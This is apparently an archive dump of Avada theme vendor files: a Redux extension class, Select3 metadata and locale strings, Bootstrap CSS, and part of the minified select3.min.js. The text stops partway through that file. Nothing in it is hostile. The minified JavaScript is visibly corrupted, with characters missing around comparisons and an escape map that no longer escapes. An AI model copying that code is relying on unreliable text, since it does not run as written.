    ' ); if ( state === false ) { $( '#accordion-table-' + id ).closest( 'div' ).hide(); } else { $( this ).find( '.el' ).removeClass( openIcon ).addClass( closeIcon ); } } } ); } } ); }; })( jQuery ); Avada/includes/lib/inc/redux/extensions/vendorsupport/extension_vendorsupport.php000064400000002412152342437700024732 0ustar00. * * @package ReduxFramework * @author Kevin Provance (kprovance) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_Extension_vendorsupport' ) ) { /** * Main ReduxFramework custom_field extension class * * @since 3.1.6 */ class FusionReduxFramework_Extension_vendorsupport { static $version = "1.0.0"; public $extension_url = ''; public $extension_dir = ''; /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * * @param array $sections Panel sections. * @param array $args Class constructor arguments. * @param array $extra_tabs Extra panel tabs. * * @return void */ public function __construct( $parent = null ) { if ( empty( $this->extension_dir ) ) { $this->extension_dir = trailingslashit( str_replace( '\\', '/', dirname( __FILE__ ) ) ); $this->extension_url = trailingslashit( FUSION_LIBRARY_URL ) . 'inc/redux/extensions/vendorsupport/vendor_support/'; // $this->extension_url = site_url( str_replace( trailingslashit( str_replace( '\\', '/', ABSPATH ) ), '', $this->extension_dir ) ); } include_once wp_normalize_path( $this->extension_dir . 'class.vendor-url.php' ); FusionRedux_VendorURL::$dir = $this->extension_dir; FusionRedux_VendorURL::$url = $this->extension_url; } } // class } // if includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3.jquery.json000064400000002006152342437700030616 0ustar00Avada{ "name": "select3", "title": "Select3", "description": "Select3 is a jQuery based replacement for select boxes. It supports searching, remote data sets, and infinite scrolling of results.", "keywords": [ "select", "autocomplete", "typeahead", "dropdown", "multiselect", "tag", "tagging" ], "version": "3.5.2", "author": { "name": "Igor Vaynberg", "url": "https://github.com/ivaynberg" }, "licenses": [ { "type": "Apache", "url": "http://www.apache.org/licenses/LICENSE-2.0" }, { "type": "GPL v2", "url": "http://www.gnu.org/licenses/gpl-2.0.html" } ], "bugs": "https://github.com/ivaynberg/select3/issues", "homepage": "http://ivaynberg.github.com/select3", "docs": "http://ivaynberg.github.com/select3/", "download": "https://github.com/ivaynberg/select3/tags", "dependencies": { "jquery": ">=1.7.1" } } includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_ka.js000064400000002066152342437700030743 0ustar00Avada/** * Select3 Georgian (Kartuli) translation. * * Author: Dimitri Kurashvili dimakura@gmail.com */ (function ($) { "use strict"; $.fn.select3.locales['ka'] = { formatNoMatches: function () { return "ვერ მოიძებნა"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "გთხოვთ შეიყვანოთ კიდევ " + n + " სიმბოლო"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "გთხოვთ წაშალოთ " + n + " სიმბოლო"; }, formatSelectionTooBig: function (limit) { return "თქვენ შეგიძლიათ მხოლოდ " + limit + " ჩანაწერის მონიშვნა"; }, formatLoadMore: function (pageNumber) { return "შედეგის ჩატვირთვა…"; }, formatSearching: function () { return "ძებნა…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['ka']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_rs.js000064400000002042152342437700030766 0ustar00Avada/** * Select3 Serbian translation. * * @author Limon Monte */ (function ($) { "use strict"; $.fn.select3.locales['rs'] = { formatNoMatches: function () { return "Ništa nije pronađeno"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Ukucajte bar još " + n + " simbol" + (n % 10 == 1 && n % 100 != 11 ? "" : "a"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Obrišite " + n + " simbol" + (n % 10 == 1 && n % 100 != 11 ? "" : "a"); }, formatSelectionTooBig: function (limit) { return "Možete izabrati samo " + limit + " stavk" + (limit % 10 == 1 && limit % 100 != 11 ? "u" : (limit % 10 >= 2 && limit % 10 <= 4 && (limit % 100 < 12 || limit % 100 > 14)? "e" : "i")); }, formatLoadMore: function (pageNumber) { return "Preuzimanje još rezultata…"; }, formatSearching: function () { return "Pretraga…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['rs']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_it.js000064400000001542152342437700030762 0ustar00Avada/** * Select3 Italian translation */ (function ($) { "use strict"; $.fn.select3.locales['it'] = { formatNoMatches: function () { return "Nessuna corrispondenza trovata"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Inserisci ancora " + n + " caratter" + (n == 1? "e" : "i"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Inserisci " + n + " caratter" + (n == 1? "e" : "i") + " in meno"; }, formatSelectionTooBig: function (limit) { return "Puoi selezionare solo " + limit + " element" + (limit == 1 ? "o" : "i"); }, formatLoadMore: function (pageNumber) { return "Caricamento in corso…"; }, formatSearching: function () { return "Ricerca…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['it']); })(jQuery);includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_hu.js000064400000001442152342437700030761 0ustar00Avada/** * Select3 Hungarian translation */ (function ($) { "use strict"; $.fn.select3.locales['hu'] = { formatNoMatches: function () { return "Nincs találat."; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Túl rövid. Még " + n + " karakter hiányzik."; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Túl hosszú. " + n + " karakterrel több, mint kellene."; }, formatSelectionTooBig: function (limit) { return "Csak " + limit + " elemet lehet kiválasztani."; }, formatLoadMore: function (pageNumber) { return "Töltés…"; }, formatSearching: function () { return "Keresés…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['hu']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_bg.js000064400000002071152342437700030734 0ustar00Avada/** * Select3 Bulgarian translation. * * @author Lubomir Vikev * @author Uriy Efremochkin */ (function ($) { "use strict"; $.fn.select3.locales['bg'] = { formatNoMatches: function () { return "Няма намерени съвпадения"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Моля въведете още " + n + " символ" + (n > 1 ? "а" : ""); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Моля въведете с " + n + " по-малко символ" + (n > 1 ? "а" : ""); }, formatSelectionTooBig: function (limit) { return "Можете да направите до " + limit + (limit > 1 ? " избора" : " избор"); }, formatLoadMore: function (pageNumber) { return "Зареждат се още…"; }, formatSearching: function () { return "Търсене…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['bg']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3-bootstrap.css000064400000006423152342437700031141 0ustar00Avada.form-control .select3-choice { border: 0; border-radius: 2px; } .form-control .select3-choice .select3-arrow { border-radius: 0 2px 2px 0; } .form-control.select3-container { height: auto !important; padding: 0; } .form-control.select3-container.select3-dropdown-open { border-color: #5897FB; border-radius: 3px 3px 0 0; } .form-control .select3-container.select3-dropdown-open .select3-choices { border-radius: 3px 3px 0 0; } .form-control.select3-container .select3-choices { border: 0 !important; border-radius: 3px; } .control-group.warning .select3-container .select3-choice, .control-group.warning .select3-container .select3-choices, .control-group.warning .select3-container-active .select3-choice, .control-group.warning .select3-container-active .select3-choices, .control-group.warning .select3-dropdown-open.select3-drop-above .select3-choice, .control-group.warning .select3-dropdown-open.select3-drop-above .select3-choices, .control-group.warning .select3-container-multi.select3-container-active .select3-choices { border: 1px solid #C09853 !important; } .control-group.warning .select3-container .select3-choice div { border-left: 1px solid #C09853 !important; background: #FCF8E3 !important; } .control-group.error .select3-container .select3-choice, .control-group.error .select3-container .select3-choices, .control-group.error .select3-container-active .select3-choice, .control-group.error .select3-container-active .select3-choices, .control-group.error .select3-dropdown-open.select3-drop-above .select3-choice, .control-group.error .select3-dropdown-open.select3-drop-above .select3-choices, .control-group.error .select3-container-multi.select3-container-active .select3-choices { border: 1px solid #B94A48 !important; } .control-group.error .select3-container .select3-choice div { border-left: 1px solid #B94A48 !important; background: #F2DEDE !important; } .control-group.info .select3-container .select3-choice, .control-group.info .select3-container .select3-choices, .control-group.info .select3-container-active .select3-choice, .control-group.info .select3-container-active .select3-choices, .control-group.info .select3-dropdown-open.select3-drop-above .select3-choice, .control-group.info .select3-dropdown-open.select3-drop-above .select3-choices, .control-group.info .select3-container-multi.select3-container-active .select3-choices { border: 1px solid #3A87AD !important; } .control-group.info .select3-container .select3-choice div { border-left: 1px solid #3A87AD !important; background: #D9EDF7 !important; } .control-group.success .select3-container .select3-choice, .control-group.success .select3-container .select3-choices, .control-group.success .select3-container-active .select3-choice, .control-group.success .select3-container-active .select3-choices, .control-group.success .select3-dropdown-open.select3-drop-above .select3-choice, .control-group.success .select3-dropdown-open.select3-drop-above .select3-choices, .control-group.success .select3-container-multi.select3-container-active .select3-choices { border: 1px solid #468847 !important; } .control-group.success .select3-container .select3-choice div { border-left: 1px solid #468847 !important; background: #DFF0D8 !important; } Avada/includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3.min.js000064400000202044152342437700027610 0ustar00/* Copyright 2014 Igor Vaynberg Version: 3.5.2 Timestamp: Sat Nov 1 14:43:36 EDT 2014 This software is licensed under the Apache License, Version 2.0 (the "Apache License") or the GNU General Public License version 2 (the "GPL License"). You may choose either license to govern your use of this software only upon the condition that you accept all of the terms of either the Apache License or the GPL License. You may obtain a copy of the Apache License and the GPL License at: http://www.apache.org/licenses/LICENSE-2.0 http://www.gnu.org/licenses/gpl-2.0.html Unless required by applicable law or agreed to in writing, software distributed under the Apache License or the GPL Licesnse is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the Apache License and the GPL License for the specific language governing permissions and limitations under the Apache License and the GPL License. */ !function(a){"undefined"==typeof a.fn.each2&&a.extend(a.fn,{each2:function(b){for(var c=a([0]),d=-1,e=this.length;++dc;c+=1)if(r(a,b[c]))return c;return-1}function q(){var b=a(l);b.appendTo(document.body);var c={width:b.width()-b[0].clientWidth,height:b.height()-b[0].clientHeight};return b.remove(),c}function r(a,c){return a===c?!0:a===b||c===b?!1:null===a||null===c?!1:a.constructor===String?a+""==c+"":c.constructor===String?c+""==a+"":!1}function s(a,b,c){var d,e,f;if(null===a||a.length<1)return[];for(d=a.split(b),e=0,f=d.length;f>e;e+=1)d[e]=c(d[e]);return d}function t(a){return a.outerWidth(!1)-a.width()}function u(c){var d="keyup-change-value";c.on("keydown",function(){a.data(c,d)===b&&a.data(c,d,c.val())}),c.on("keyup",function(){var e=a.data(c,d);e!==b&&c.val()!==e&&(a.removeData(c,d),c.trigger("keyup-change"))})}function v(c){c.on("mousemove",function(c){var d=h;(d===b||d.x!==c.pageX||d.y!==c.pageY)&&a(c.target).trigger("mousemove-filtered",c)})}function w(a,c,d){d=d||b;var e;return function(){var b=arguments;window.clearTimeout(e),e=window.setTimeout(function(){c.apply(d,b)},a)}}function x(a,b){var c=w(a,function(a){b.trigger("scroll-debounced",a)});b.on("scroll",function(a){p(a.target,b.get())>=0&&c(a)})}function y(a){a[0]!==document.activeElement&&window.setTimeout(function(){var d,b=a[0],c=a.val().length;a.focus();var e=b.offsetWidth>0||b.offsetHeight>0;e&&b===document.activeElement&&(b.setSelectionRange?b.setSelectionRange(c,c):b.createTextRange&&(d=b.createTextRange(),d.collapse(!1),d.select()))},0)}function z(b){b=a(b)[0];var c=0,d=0;if("selectionStart"in b)c=b.selectionStart,d=b.selectionEnd-c;else if("selection"in document){b.focus();var e=document.selection.createRange();d=document.selection.createRange().text.length,e.moveStart("character",-b.value.length),c=e.text.length-d}return{offset:c,length:d}}function A(a){a.preventDefault(),a.stopPropagation()}function B(a){a.preventDefault(),a.stopImmediatePropagation()}function C(b){if(!g){var c=b[0].currentStyle||window.getComputedStyle(b[0],null);g=a(document.createElement("div")).css({position:"absolute",left:"-10000px",top:"-10000px",display:"none",fontSize:c.fontSize,fontFamily:c.fontFamily,fontStyle:c.fontStyle,fontWeight:c.fontWeight,letterSpacing:c.letterSpacing,textTransform:c.textTransform,whiteSpace:"nowrap"}),g.attr("class","select3-sizer"),a(document.body).append(g)}return g.text(b.val()),g.width()}function D(b,c,d){var e,g,f=[];e=a.trim(b.attr("class")),e&&(e=""+e,a(e.split(/\s+/)).each2(function(){0===this.indexOf("select3-")&&f.push(this)})),e=a.trim(c.attr("class")),e&&(e=""+e,a(e.split(/\s+/)).each2(function(){0!==this.indexOf("select3-")&&(g=d(this),g&&f.push(g))})),b.attr("class",f.join(" "))}function E(a,b,c,d){var e=o(a.toUpperCase()).indexOf(o(b.toUpperCase())),f=b.length;return 0>e?(c.push(d(a)),void 0):(c.push(d(a.substring(0,e))),c.push(""),c.push(d(a.substring(e,e+f))),c.push(""),c.push(d(a.substring(e+f,a.length))),void 0)}function F(a){var b={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};return String(a).replace(/[&<>"'\/\\]/g,function(a){return b[a]})}function G(c){var d,e=null,f=c.quietMillis||100,g=c.url,h=this;return function(i){window.clearTimeout(d),d=window.setTimeout(function(){var d=c.data,f=g,j=c.transport||a.fn.select3.ajaxDefaults.transport,k={type:c.type||"GET",cache:c.cache||!1,jsonpCallback:c.jsonpCallback||b,dataType:c.dataType||"json"},l=a.extend({},a.fn.select3.ajaxDefaults.params,k);d=d?d.call(h,i.term,i.page,i.context):null,f="function"==typeof f?f.call(h,i.term,i.page,i.context):f,e&&"function"==typeof e.abort&&e.abort(),c.params&&(a.isFunction(c.params)?a.extend(l,c.params.call(h)):a.extend(l,c.params)),a.extend(l,{url:f,dataType:c.dataType,data:d,success:function(a){var b=c.results(a,i.page,i);i.callback(b)},error:function(a,b,c){var d={hasError:!0,jqXHR:a,textStatus:b,errorThrown:c};i.callback(d)}}),e=j.call(h,l)},f)}}function H(b){var d,e,c=b,f=function(a){return""+a.text};a.isArray(c)&&(e=c,c={results:e}),a.isFunction(c)===!1&&(e=c,c=function(){return e});var g=c();return g.text&&(f=g.text,a.isFunction(f)||(d=g.text,f=function(a){return a[d]})),function(b){var g,d=b.term,e={results:[]};return""===d?(b.callback(c()),void 0):(g=function(c,e){var h,i;if(c=c[0],c.children){h={};for(i in c)c.hasOwnProperty(i)&&(h[i]=c[i]);h.children=[],a(c.children).each2(function(a,b){g(b,h.children)}),(h.children.length||b.matcher(d,f(h),c))&&e.push(h)}else b.matcher(d,f(c),c)&&e.push(c)},a(c().results).each2(function(a,b){g(b,e.results)}),b.callback(e),void 0)}}function I(c){var d=a.isFunction(c);return function(e){var f=e.term,g={results:[]},h=d?c(e):c;a.isArray(h)&&(a(h).each(function(){var a=this.text!==b,c=a?this.text:this;(""===f||e.matcher(f,c))&&g.results.push(a?this:{id:this,text:this})}),e.callback(g))}}function J(b,c){if(a.isFunction(b))return!0;if(!b)return!1;if("string"==typeof b)return!0;throw new Error(c+" must be a string, function, or falsy value")}function K(b,c){if(a.isFunction(b)){var d=Array.prototype.slice.call(arguments,2);return b.apply(c,d)}return b}function L(b){var c=0;return a.each(b,function(a,b){b.children?c+=L(b.children):c++}),c}function M(a,c,d,e){var h,i,j,k,l,f=a,g=!1;if(!e.createSearchChoice||!e.tokenSeparators||e.tokenSeparators.length<1)return b;for(;;){for(i=-1,j=0,k=e.tokenSeparators.length;k>j&&(l=e.tokenSeparators[j],i=a.indexOf(l),!(i>=0));j++);if(0>i)break;if(h=a.substring(0,i),a=a.substring(i+l.length),h.length>0&&(h=e.createSearchChoice.call(this,h,c),h!==b&&null!==h&&e.id(h)!==b&&null!==e.id(h))){for(g=!1,j=0,k=c.length;k>j;j++)if(r(e.id(h),e.id(c[j]))){g=!0;break}g||d(h)}}return f!==a?a:void 0}function N(){var b=this;a.each(arguments,function(a,c){b[c].remove(),b[c]=null})}function O(b,c){var d=function(){};return d.prototype=new b,d.prototype.constructor=d,d.prototype.parent=b.prototype,d.prototype=a.extend(d.prototype,c),d}if(window.Select3===b){var c,d,e,f,g,i,j,h={x:0,y:0},k={TAB:9,ENTER:13,ESC:27,SPACE:32,LEFT:37,UP:38,RIGHT:39,DOWN:40,SHIFT:16,CTRL:17,ALT:18,PAGE_UP:33,PAGE_DOWN:34,HOME:36,END:35,BACKSPACE:8,DELETE:46,isArrow:function(a){switch(a=a.which?a.which:a){case k.LEFT:case k.RIGHT:case k.UP:case k.DOWN:return!0}return!1},isControl:function(a){var b=a.which;switch(b){case k.SHIFT:case k.CTRL:case k.ALT:return!0}return a.metaKey?!0:!1},isFunctionKey:function(a){return a=a.which?a.which:a,a>=112&&123>=a}},l="
    ",m={"\u24b6":"A","\uff21":"A","\xc0":"A","\xc1":"A","\xc2":"A","\u1ea6":"A","\u1ea4":"A","\u1eaa":"A","\u1ea8":"A","\xc3":"A","\u0100":"A","\u0102":"A","\u1eb0":"A","\u1eae":"A","\u1eb4":"A","\u1eb2":"A","\u0226":"A","\u01e0":"A","\xc4":"A","\u01de":"A","\u1ea2":"A","\xc5":"A","\u01fa":"A","\u01cd":"A","\u0200":"A","\u0202":"A","\u1ea0":"A","\u1eac":"A","\u1eb6":"A","\u1e00":"A","\u0104":"A","\u023a":"A","\u2c6f":"A","\ua732":"AA","\xc6":"AE","\u01fc":"AE","\u01e2":"AE","\ua734":"AO","\ua736":"AU","\ua738":"AV","\ua73a":"AV","\ua73c":"AY","\u24b7":"B","\uff22":"B","\u1e02":"B","\u1e04":"B","\u1e06":"B","\u0243":"B","\u0182":"B","\u0181":"B","\u24b8":"C","\uff23":"C","\u0106":"C","\u0108":"C","\u010a":"C","\u010c":"C","\xc7":"C","\u1e08":"C","\u0187":"C","\u023b":"C","\ua73e":"C","\u24b9":"D","\uff24":"D","\u1e0a":"D","\u010e":"D","\u1e0c":"D","\u1e10":"D","\u1e12":"D","\u1e0e":"D","\u0110":"D","\u018b":"D","\u018a":"D","\u0189":"D","\ua779":"D","\u01f1":"DZ","\u01c4":"DZ","\u01f2":"Dz","\u01c5":"Dz","\u24ba":"E","\uff25":"E","\xc8":"E","\xc9":"E","\xca":"E","\u1ec0":"E","\u1ebe":"E","\u1ec4":"E","\u1ec2":"E","\u1ebc":"E","\u0112":"E","\u1e14":"E","\u1e16":"E","\u0114":"E","\u0116":"E","\xcb":"E","\u1eba":"E","\u011a":"E","\u0204":"E","\u0206":"E","\u1eb8":"E","\u1ec6":"E","\u0228":"E","\u1e1c":"E","\u0118":"E","\u1e18":"E","\u1e1a":"E","\u0190":"E","\u018e":"E","\u24bb":"F","\uff26":"F","\u1e1e":"F","\u0191":"F","\ua77b":"F","\u24bc":"G","\uff27":"G","\u01f4":"G","\u011c":"G","\u1e20":"G","\u011e":"G","\u0120":"G","\u01e6":"G","\u0122":"G","\u01e4":"G","\u0193":"G","\ua7a0":"G","\ua77d":"G","\ua77e":"G","\u24bd":"H","\uff28":"H","\u0124":"H","\u1e22":"H","\u1e26":"H","\u021e":"H","\u1e24":"H","\u1e28":"H","\u1e2a":"H","\u0126":"H","\u2c67":"H","\u2c75":"H","\ua78d":"H","\u24be":"I","\uff29":"I","\xcc":"I","\xcd":"I","\xce":"I","\u0128":"I","\u012a":"I","\u012c":"I","\u0130":"I","\xcf":"I","\u1e2e":"I","\u1ec8":"I","\u01cf":"I","\u0208":"I","\u020a":"I","\u1eca":"I","\u012e":"I","\u1e2c":"I","\u0197":"I","\u24bf":"J","\uff2a":"J","\u0134":"J","\u0248":"J","\u24c0":"K","\uff2b":"K","\u1e30":"K","\u01e8":"K","\u1e32":"K","\u0136":"K","\u1e34":"K","\u0198":"K","\u2c69":"K","\ua740":"K","\ua742":"K","\ua744":"K","\ua7a2":"K","\u24c1":"L","\uff2c":"L","\u013f":"L","\u0139":"L","\u013d":"L","\u1e36":"L","\u1e38":"L","\u013b":"L","\u1e3c":"L","\u1e3a":"L","\u0141":"L","\u023d":"L","\u2c62":"L","\u2c60":"L","\ua748":"L","\ua746":"L","\ua780":"L","\u01c7":"LJ","\u01c8":"Lj","\u24c2":"M","\uff2d":"M","\u1e3e":"M","\u1e40":"M","\u1e42":"M","\u2c6e":"M","\u019c":"M","\u24c3":"N","\uff2e":"N","\u01f8":"N","\u0143":"N","\xd1":"N","\u1e44":"N","\u0147":"N","\u1e46":"N","\u0145":"N","\u1e4a":"N","\u1e48":"N","\u0220":"N","\u019d":"N","\ua790":"N","\ua7a4":"N","\u01ca":"NJ","\u01cb":"Nj","\u24c4":"O","\uff2f":"O","\xd2":"O","\xd3":"O","\xd4":"O","\u1ed2":"O","\u1ed0":"O","\u1ed6":"O","\u1ed4":"O","\xd5":"O","\u1e4c":"O","\u022c":"O","\u1e4e":"O","\u014c":"O","\u1e50":"O","\u1e52":"O","\u014e":"O","\u022e":"O","\u0230":"O","\xd6":"O","\u022a":"O","\u1ece":"O","\u0150":"O","\u01d1":"O","\u020c":"O","\u020e":"O","\u01a0":"O","\u1edc":"O","\u1eda":"O","\u1ee0":"O","\u1ede":"O","\u1ee2":"O","\u1ecc":"O","\u1ed8":"O","\u01ea":"O","\u01ec":"O","\xd8":"O","\u01fe":"O","\u0186":"O","\u019f":"O","\ua74a":"O","\ua74c":"O","\u01a2":"OI","\ua74e":"OO","\u0222":"OU","\u24c5":"P","\uff30":"P","\u1e54":"P","\u1e56":"P","\u01a4":"P","\u2c63":"P","\ua750":"P","\ua752":"P","\ua754":"P","\u24c6":"Q","\uff31":"Q","\ua756":"Q","\ua758":"Q","\u024a":"Q","\u24c7":"R","\uff32":"R","\u0154":"R","\u1e58":"R","\u0158":"R","\u0210":"R","\u0212":"R","\u1e5a":"R","\u1e5c":"R","\u0156":"R","\u1e5e":"R","\u024c":"R","\u2c64":"R","\ua75a":"R","\ua7a6":"R","\ua782":"R","\u24c8":"S","\uff33":"S","\u1e9e":"S","\u015a":"S","\u1e64":"S","\u015c":"S","\u1e60":"S","\u0160":"S","\u1e66":"S","\u1e62":"S","\u1e68":"S","\u0218":"S","\u015e":"S","\u2c7e":"S","\ua7a8":"S","\ua784":"S","\u24c9":"T","\uff34":"T","\u1e6a":"T","\u0164":"T","\u1e6c":"T","\u021a":"T","\u0162":"T","\u1e70":"T","\u1e6e":"T","\u0166":"T","\u01ac":"T","\u01ae":"T","\u023e":"T","\ua786":"T","\ua728":"TZ","\u24ca":"U","\uff35":"U","\xd9":"U","\xda":"U","\xdb":"U","\u0168":"U","\u1e78":"U","\u016a":"U","\u1e7a":"U","\u016c":"U","\xdc":"U","\u01db":"U","\u01d7":"U","\u01d5":"U","\u01d9":"U","\u1ee6":"U","\u016e":"U","\u0170":"U","\u01d3":"U","\u0214":"U","\u0216":"U","\u01af":"U","\u1eea":"U","\u1ee8":"U","\u1eee":"U","\u1eec":"U","\u1ef0":"U","\u1ee4":"U","\u1e72":"U","\u0172":"U","\u1e76":"U","\u1e74":"U","\u0244":"U","\u24cb":"V","\uff36":"V","\u1e7c":"V","\u1e7e":"V","\u01b2":"V","\ua75e":"V","\u0245":"V","\ua760":"VY","\u24cc":"W","\uff37":"W","\u1e80":"W","\u1e82":"W","\u0174":"W","\u1e86":"W","\u1e84":"W","\u1e88":"W","\u2c72":"W","\u24cd":"X","\uff38":"X","\u1e8a":"X","\u1e8c":"X","\u24ce":"Y","\uff39":"Y","\u1ef2":"Y","\xdd":"Y","\u0176":"Y","\u1ef8":"Y","\u0232":"Y","\u1e8e":"Y","\u0178":"Y","\u1ef6":"Y","\u1ef4":"Y","\u01b3":"Y","\u024e":"Y","\u1efe":"Y","\u24cf":"Z","\uff3a":"Z","\u0179":"Z","\u1e90":"Z","\u017b":"Z","\u017d":"Z","\u1e92":"Z","\u1e94":"Z","\u01b5":"Z","\u0224":"Z","\u2c7f":"Z","\u2c6b":"Z","\ua762":"Z","\u24d0":"a","\uff41":"a","\u1e9a":"a","\xe0":"a","\xe1":"a","\xe2":"a","\u1ea7":"a","\u1ea5":"a","\u1eab":"a","\u1ea9":"a","\xe3":"a","\u0101":"a","\u0103":"a","\u1eb1":"a","\u1eaf":"a","\u1eb5":"a","\u1eb3":"a","\u0227":"a","\u01e1":"a","\xe4":"a","\u01df":"a","\u1ea3":"a","\xe5":"a","\u01fb":"a","\u01ce":"a","\u0201":"a","\u0203":"a","\u1ea1":"a","\u1ead":"a","\u1eb7":"a","\u1e01":"a","\u0105":"a","\u2c65":"a","\u0250":"a","\ua733":"aa","\xe6":"ae","\u01fd":"ae","\u01e3":"ae","\ua735":"ao","\ua737":"au","\ua739":"av","\ua73b":"av","\ua73d":"ay","\u24d1":"b","\uff42":"b","\u1e03":"b","\u1e05":"b","\u1e07":"b","\u0180":"b","\u0183":"b","\u0253":"b","\u24d2":"c","\uff43":"c","\u0107":"c","\u0109":"c","\u010b":"c","\u010d":"c","\xe7":"c","\u1e09":"c","\u0188":"c","\u023c":"c","\ua73f":"c","\u2184":"c","\u24d3":"d","\uff44":"d","\u1e0b":"d","\u010f":"d","\u1e0d":"d","\u1e11":"d","\u1e13":"d","\u1e0f":"d","\u0111":"d","\u018c":"d","\u0256":"d","\u0257":"d","\ua77a":"d","\u01f3":"dz","\u01c6":"dz","\u24d4":"e","\uff45":"e","\xe8":"e","\xe9":"e","\xea":"e","\u1ec1":"e","\u1ebf":"e","\u1ec5":"e","\u1ec3":"e","\u1ebd":"e","\u0113":"e","\u1e15":"e","\u1e17":"e","\u0115":"e","\u0117":"e","\xeb":"e","\u1ebb":"e","\u011b":"e","\u0205":"e","\u0207":"e","\u1eb9":"e","\u1ec7":"e","\u0229":"e","\u1e1d":"e","\u0119":"e","\u1e19":"e","\u1e1b":"e","\u0247":"e","\u025b":"e","\u01dd":"e","\u24d5":"f","\uff46":"f","\u1e1f":"f","\u0192":"f","\ua77c":"f","\u24d6":"g","\uff47":"g","\u01f5":"g","\u011d":"g","\u1e21":"g","\u011f":"g","\u0121":"g","\u01e7":"g","\u0123":"g","\u01e5":"g","\u0260":"g","\ua7a1":"g","\u1d79":"g","\ua77f":"g","\u24d7":"h","\uff48":"h","\u0125":"h","\u1e23":"h","\u1e27":"h","\u021f":"h","\u1e25":"h","\u1e29":"h","\u1e2b":"h","\u1e96":"h","\u0127":"h","\u2c68":"h","\u2c76":"h","\u0265":"h","\u0195":"hv","\u24d8":"i","\uff49":"i","\xec":"i","\xed":"i","\xee":"i","\u0129":"i","\u012b":"i","\u012d":"i","\xef":"i","\u1e2f":"i","\u1ec9":"i","\u01d0":"i","\u0209":"i","\u020b":"i","\u1ecb":"i","\u012f":"i","\u1e2d":"i","\u0268":"i","\u0131":"i","\u24d9":"j","\uff4a":"j","\u0135":"j","\u01f0":"j","\u0249":"j","\u24da":"k","\uff4b":"k","\u1e31":"k","\u01e9":"k","\u1e33":"k","\u0137":"k","\u1e35":"k","\u0199":"k","\u2c6a":"k","\ua741":"k","\ua743":"k","\ua745":"k","\ua7a3":"k","\u24db":"l","\uff4c":"l","\u0140":"l","\u013a":"l","\u013e":"l","\u1e37":"l","\u1e39":"l","\u013c":"l","\u1e3d":"l","\u1e3b":"l","\u017f":"l","\u0142":"l","\u019a":"l","\u026b":"l","\u2c61":"l","\ua749":"l","\ua781":"l","\ua747":"l","\u01c9":"lj","\u24dc":"m","\uff4d":"m","\u1e3f":"m","\u1e41":"m","\u1e43":"m","\u0271":"m","\u026f":"m","\u24dd":"n","\uff4e":"n","\u01f9":"n","\u0144":"n","\xf1":"n","\u1e45":"n","\u0148":"n","\u1e47":"n","\u0146":"n","\u1e4b":"n","\u1e49":"n","\u019e":"n","\u0272":"n","\u0149":"n","\ua791":"n","\ua7a5":"n","\u01cc":"nj","\u24de":"o","\uff4f":"o","\xf2":"o","\xf3":"o","\xf4":"o","\u1ed3":"o","\u1ed1":"o","\u1ed7":"o","\u1ed5":"o","\xf5":"o","\u1e4d":"o","\u022d":"o","\u1e4f":"o","\u014d":"o","\u1e51":"o","\u1e53":"o","\u014f":"o","\u022f":"o","\u0231":"o","\xf6":"o","\u022b":"o","\u1ecf":"o","\u0151":"o","\u01d2":"o","\u020d":"o","\u020f":"o","\u01a1":"o","\u1edd":"o","\u1edb":"o","\u1ee1":"o","\u1edf":"o","\u1ee3":"o","\u1ecd":"o","\u1ed9":"o","\u01eb":"o","\u01ed":"o","\xf8":"o","\u01ff":"o","\u0254":"o","\ua74b":"o","\ua74d":"o","\u0275":"o","\u01a3":"oi","\u0223":"ou","\ua74f":"oo","\u24df":"p","\uff50":"p","\u1e55":"p","\u1e57":"p","\u01a5":"p","\u1d7d":"p","\ua751":"p","\ua753":"p","\ua755":"p","\u24e0":"q","\uff51":"q","\u024b":"q","\ua757":"q","\ua759":"q","\u24e1":"r","\uff52":"r","\u0155":"r","\u1e59":"r","\u0159":"r","\u0211":"r","\u0213":"r","\u1e5b":"r","\u1e5d":"r","\u0157":"r","\u1e5f":"r","\u024d":"r","\u027d":"r","\ua75b":"r","\ua7a7":"r","\ua783":"r","\u24e2":"s","\uff53":"s","\xdf":"s","\u015b":"s","\u1e65":"s","\u015d":"s","\u1e61":"s","\u0161":"s","\u1e67":"s","\u1e63":"s","\u1e69":"s","\u0219":"s","\u015f":"s","\u023f":"s","\ua7a9":"s","\ua785":"s","\u1e9b":"s","\u24e3":"t","\uff54":"t","\u1e6b":"t","\u1e97":"t","\u0165":"t","\u1e6d":"t","\u021b":"t","\u0163":"t","\u1e71":"t","\u1e6f":"t","\u0167":"t","\u01ad":"t","\u0288":"t","\u2c66":"t","\ua787":"t","\ua729":"tz","\u24e4":"u","\uff55":"u","\xf9":"u","\xfa":"u","\xfb":"u","\u0169":"u","\u1e79":"u","\u016b":"u","\u1e7b":"u","\u016d":"u","\xfc":"u","\u01dc